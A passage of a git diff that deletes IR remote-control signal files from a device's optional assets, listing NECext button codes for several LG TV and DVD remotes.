-# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: RECORD_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 90 00 00 00 -# -name: REC_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 90 00 00 00 -# -name: APM_XD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 92 00 00 00 -# -name: APM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 92 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: RGB_-_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: COMP/RGB/DVI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: MULTIMEDIA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: AUTO_CONFIGURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 99 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 99 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9E 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A9 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A9 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AF 00 00 00 -# -name: ASPECT_-_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AF 00 00 00 -# -name: RATIO:_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AF 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B1 00 00 00 -# -name: SKIP/DAY_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: SKIP_<<_/_DAY_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: GO_TO_PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B2 00 00 00 -# -name: SKIP/DAY_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: SKIP_>>_/_DAY_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: GO_TO_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BD 00 00 00 -# -name: COMPONENT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BF 00 00 00 -# -name: INPUT_-_COMPONENT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BF 00 00 00 -# -name: INPUT:_COMPONENT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BF 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C4 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C4 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C5 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C5 00 00 00 -# -name: RGB_-_DVI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: INPUT_-_HDMI_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: INPUT:_HDMI/DVI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: DVI-PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C7 00 00 00 -# -name: X_STUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: MC_EJECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CA 00 00 00 -# -name: M/C_EJECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CA 00 00 00 -# -name: ADJUST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CB 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CC 00 00 00 -# -name: INPUT_-_HDMI_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CC 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CE 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D0 00 00 00 -# -name: INPUT_-_VIDEO_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D0 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D0 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D2 00 00 00 -# -name: S-VIDEO_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D3 00 00 00 -# -name: COMPONENT_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D4 00 00 00 -# -name: INPUT_-_COMPONENT_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D4 00 00 00 -# -name: INPUT:_COMPONENT_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D4 00 00 00 -# -name: RGB_-_PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: INPUT_-_PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: RGBPC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: INPUT:_RGB-PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: ANT/CABLE/ANALOG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: ANT/CABLE_ANALOG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: INPUT_-_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: INPUT:_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: RGB_-_DTV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: INPUT_-_DTV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: DTV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: INPUT:_RGB-DTV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: S-VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: COMPONENT_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D9 00 00 00 -# -name: HDMI_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DA 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E0 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E1 00 00 00 -# -name: HDMI_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E9 00 00 00 -# -name: IN-START -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 -# -name: ADJ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir deleted file mode 100644 index c40475f4e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: qview -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: topt -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: avmode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: qmenu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: simplink -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: energy -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: tv/rad -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir deleted file mode 100644 index f525c1104..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 05 00 00 00 -# -name: skip_scan_down -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 06 00 00 00 -# -name: skip_scan_up -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 07 00 00 00 -# -name: pr_preset_down -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 12 00 00 00 -# -name: pr_preset_up -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4B 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4E 00 00 00 -# -name: pause_step -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4F 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 59 00 00 00 -# -name: dimmer -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 5E 00 00 00 -# -name: exit_cancel -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 69 00 00 00 -# -name: caption -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 6A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 6B 00 00 00 -# -name: i_ii -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 7A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 7B 00 00 00 -# -name: tv_radio -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 82 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 8A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 9A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A0 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A1 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A2 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A3 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A4 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A5 00 00 00 -# -name: s_title -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AB 00 00 00 -# -name: repeat_a-b -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AD 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AE 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AF 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B0 00 00 00 -# -name: slow_scan_down -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B1 00 00 00 -# -name: slow_scan_up -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B2 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B3 00 00 00 -# -name: marker -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B4 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: C2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir deleted file mode 100644 index 41ec7d7c8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: sap -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: tv-video -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: pipinput -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: pipch+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: pipch- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: ratio -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7B 00 00 00 -# -name: signal -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: comp-rgb-dvi -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: adjust -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir deleted file mode 100644 index 6183624af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_DIGITS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_SAVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_REDO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PROPS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_MAX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_SHOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_INSERT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir deleted file mode 100644 index 36d77c255..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: 